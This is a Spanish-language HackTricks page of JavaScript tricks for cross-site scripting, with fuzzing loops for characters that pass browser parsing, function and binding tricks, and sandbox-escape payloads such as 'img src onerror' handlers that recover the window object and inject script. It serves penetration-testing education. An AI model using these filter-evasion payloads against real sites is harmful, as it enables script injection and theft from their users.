hacktricks/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

19 KiB

Trucos JS misceláneos e información relevante

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Fuzzing de Javascript

Caracteres válidos para comentarios JS

//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line


for (let j = 0; j < 128; j++) {
  for (let k = 0; k < 128; k++) {
    for (let l = 0; l < 128; l++) {
      if (j == 34 || k ==34 || l ==34)
        continue;
      if (j == 0x0a || k ==0x0a || l ==0x0a)
        continue;
      if (j == 0x0d || k ==0x0d || l ==0x0d)
        continue;
      if (j == 0x3c || k ==0x3c || l ==0x3c)
        continue;
      if (
         (j == 47 && k == 47)
         ||(k == 47 && l == 47)
        )
        continue;
  try {
      var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
      eval(cmd);
  } catch(e) {
      var err = e.toString().split('\n')[0].split(':')[0];
      if (err === 'SyntaxError' || err === "ReferenceError")
        continue
      err = e.toString().split('\n')[0]
  }
     console.log(err,cmd);
  }
  }
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition. 
log=[];
for(let i=0;i<=0xff;i++){
  for(let j=0;j<=0xfff;j++){
    try {  
      eval(`${String.fromCodePoint(i,j)}%$£234$`)
      log.push([i,j])
    }catch(e){}
  }
}
console.log(log)//[35,33],[47,47]

Caracteres de Nueva Línea Válidos en JS

//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8

for (let j = 0; j < 65536; j++) {
    try {
        var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
        eval(cmd);
    } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === "ReferenceError")
          continue;
        err = e.toString().split('\n')[0]
    }
    console.log(`[${err}]`,j,cmd);
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

Espacios válidos de JS en llamadas de función

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. 

// Check chars that can be put in between in func name and the ()
function x(){}

log=[];
for(let i=0;i<=0x10ffff;i++){
    try {  
        eval(`x${String.fromCodePoint(i)}()`)
        log.push(i)
    }catch(e){}
}
 
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279

Caracteres válidos para generar cadenas

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. 

// Check which pairs of chars can make something be a valid string
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {  
        eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
        log.push(i)
    }catch(e){}
}
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)

Surrogate Pairs BF

Esta técnica no será muy útil para XSS, pero podría ser útil para evitar las protecciones de WAF. Este código de Python recibe como entrada 2 bytes y busca pares sustitutos que tengan el primer byte como los últimos bytes del par sustituto alto y el último byte como el último byte del par sustituto bajo.

def unicode(findHex):
    for i in range(0,0xFFFFF):
        H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
        h = chr(int(H[-2:],16))
        L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
        l = chr(int(L[-2:],16))
        if(h == findHex[0]) and (l == findHex[1]):     
            print(H.replace("0x","\\u")+L.replace("0x","\\u"))

Fuzzing del protocolo javascript{}:

El protocolo javascript{}: es utilizado para ejecutar código JavaScript en el contexto de una página web. Es posible utilizar este protocolo para realizar ataques de Cross-Site Scripting (XSS) en una página web.

Para realizar un ataque de fuzzing en el protocolo javascript{}:, se pueden utilizar diferentes técnicas, como la inyección de caracteres Unicode y la codificación de caracteres. Estas técnicas permiten evadir los filtros de seguridad y ejecutar código malicioso en la página web.

Es importante tener en cuenta que este tipo de ataques pueden ser detectados y prevenidos mediante la implementación de medidas de seguridad adecuadas en la página web, como la validación de entradas y la sanitización de datos.

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. 
log=[];
let anchor = document.createElement('a');
for(let i=0;i<=0x10ffff;i++){
    anchor.href = `javascript${String.fromCodePoint(i)}:`;
    if(anchor.protocol === 'javascript:') {
        log.push(i);
    }
}
console.log(log)//9,10,13,58
// Note that you could BF also other possitions of the use of multiple chars

// Test one option
let anchor = document.createElement('a');
anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`;
anchor.append('Click me')
document.body.append(anchor)

// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>

Fuzzing de URL

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. 

// Before the protocol
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`;
    if(a.hostname === 'hacktricks.xyz'){
        log.push(i);
    }
}
console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32

// Between the slashes
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`;
    if(a.hostname === 'hacktricks.xyz'){
        log.push(i);
    }
}
console.log(log) //9,10,13,47,92

Fuzzing HTML

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition. 

// Fuzzing chars that can close an HTML comment

let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
    div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
    if(div.querySelector('span')){
        log.push(i);
    }
}
console.log(log)//33,45,62

Análisis de atributos

La herramienta Hackability inspector de Portswigger ayuda a analizar los atributos de un objeto javascript. Ver: https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E

Archivos .map js

Asignación "--"

El operador de decremento -- también es una asignación. Este operador toma un valor y luego lo decrementa en uno. Si ese valor no es un número, se establecerá en NaN. Esto se puede usar para eliminar el contenido de las variables del entorno.

Trucos de funciones

.call y .apply

El método .call de una función se utiliza para ejecutar la función.
El primer argumento que espera por defecto es el valor de this y si no se proporciona nada, window será ese valor (a menos que se use el modo estricto).

function test_call(){
     console.log(this.value); //baz 
}
new_this={value:"hey!"}
test_call.call(new_this);

// To pass more arguments, just pass then inside .call()
function test_call() {
     console.log(arguments[0]); //"arg1"
     console.log(arguments[1]); //"arg2"
     console.log(this); //[object Window]
}
test_call.call(null, "arg1", "arg2")

// If you use the "use strict" directive "this" will be null instead of window:
function test_call() {
     "use strict";
     console.log(this); //null
}
test_call.call(null)
     
//The apply function is pretty much exactly the same as the call function with one important difference, you can supply an array of arguments in the second argument:
function test_apply() {
     console.log(arguments[0]); //"arg1"
     console.log(arguments[1]); //"arg2"
     console.log(this); //[object Window]
}
test_apply.apply(null, ["arg1", "arg2"])

Funciones de flecha

Las funciones de flecha te permiten generar funciones en una sola línea de manera más sencilla (si las entiendes).

// Traditional
function (a){ return a + 1; }
// Arrow forms
a => a + 100;
a => {a + 100};

// Traditional
function (a, b){ return a + b + 1; }
// Arrow
(a, b) => a + b + 100;

// Tradictional no args
let a = 4;
let b = 2;
function (){ return a + b + 1; }

// Arrow
let a = 4;
let b = 2;
() => a + b + 1;

Entonces, la mayoría de las funciones anteriores son en realidad inútiles porque no las estamos guardando en ningún lugar para guardarlas y llamarlas. Por ejemplo, al crear la función plusone:

// Traductional
function plusone (a){ return a + 1; }

//Arrow
plusone = a => a + 100;

Función Bind

La función Bind permite crear una copia de una función modificando el objeto this y los parámetros dados.

//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
    console.info( this, param1, param2 );
}
fn('Hello', 'World')

//This will still use the this object and print "Hello World"
var copyFn = fn.bind();
copyFn('Hello', 'World')

//This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello"
var bindFn_change = fn.bind(console, "fixingparam1");
bindFn_change('Hello', 'World') 

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_thisnull = fn.bind(null, "fixingparam1");
bindFn_change('Hello', 'World')

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')

{% hint style="info" %} Ten en cuenta que usando bind puedes manipular el objeto this que se usará al llamar a la función. {% endhint %}

Fuga de código de función

Si puedes acceder al objeto de una función, puedes obtener el código de esa función.

function afunc(){
    return 1+1;
}
console.log(afunc.toString()); //This will print the code of the function
console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function

En casos en los que la función no tenga nombre, aún puedes imprimir el código de la función desde dentro:

(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")

Aquí hay algunas formas aleatorias de extraer el código de una función (incluso comentarios) desde otra función:

(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
(function (){ return String(this)}).bind(()=>{ /* Hidden commment */ })()
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()

Escape de Sandbox - Recuperando el objeto window

El objeto Window permite acceder a funciones definidas globalmente como alert o eval.

{% code overflow="wrap" %}

// Some ways to access window
window.eval("alert(1)")
frames
globalThis
parent
self
top //If inside a frame, this is top most window

// Access window from document
document.defaultView.alert(1)
// Access document from a node object
node = document.createElement('div')
node.ownerDocument.defaultView.alert(1)

// There is a path property on each error event whose last element is the window
<img src onerror=event.path.pop().alert(1337)>
// In other browsers the method is
<img src onerror=event.composedPath().pop().alert(1337)>
// In case of svg, the "event" object is called "evt"
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>

// Abusing Error.prepareStackTrace to get Window back
Error.prepareStackTrace=function(error, callSites){
2   callSites.shift().getThis().alert(1337);
3 };
4 new Error().stack

// From an HTML event
// Events from HTML are executed in this context
with(document) {
    with(element) {
        //executed event
    }
}
// Because of that with(document) it's possible to access properties of document like:
<img src onerror=defaultView.alert(1337)>
<img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>

{% endcode %}

Punto de interrupción en el acceso al valor

// Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions
sessionStorage.getItem = localStorage.getItem  = function(prop) {
    debugger;
    return sessionStorage[prop];
}

localStorage.setItem = function(prop, val) {
    debugger;
    localStorage[prop] = val;
}
// Stop when anyone sets or gets the property "ppmap" in any object
// For example sessionStorage.ppmap
// "123".ppmap
// Useful to find where weird properties are being set or accessed
// or to find where prototype pollutions are occurring 

function debugAccess(obj, prop, debugGet=true){

    var origValue = obj[prop];

    Object.defineProperty(obj, prop, {
        get: function () {
            if ( debugGet )
                debugger;
            return origValue;
        },
        set: function(val) {
            debugger;
            origValue = val;
        }
    });
};

debugAccess(Object.prototype, 'ppmap')

Acceso automático del navegador para probar payloads

//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");

const realPasswordLength = 3000;
async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  //Loop to iterate through different values
  for (let i = 0; i < 10000; i += 100) {
    console.log(`Run number ${i}`);
    const input = `${"0".repeat(i)}${realPasswordLength}`;
    console.log(`  https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`);
    //Go to the page
    await page.goto(
      `https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`
    );
    //Call function "generate()" inside the page
    await page.evaluate("generate()");
    //Get node inner text from an HTML element
    const passwordContent = await page.$$eval(
      ".alert .page-content",
      (node) => node[0].innerText
    );
    //Transform the content and print it in console
    const plainPassword = passwordContent.replace("Your password is: ", "");
    if (plainPassword.length != realPasswordLength) {
      console.log(i, plainPassword.length, plainPassword);
    }

    await sleep(1000);
  }
  await browser.close();
})();
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥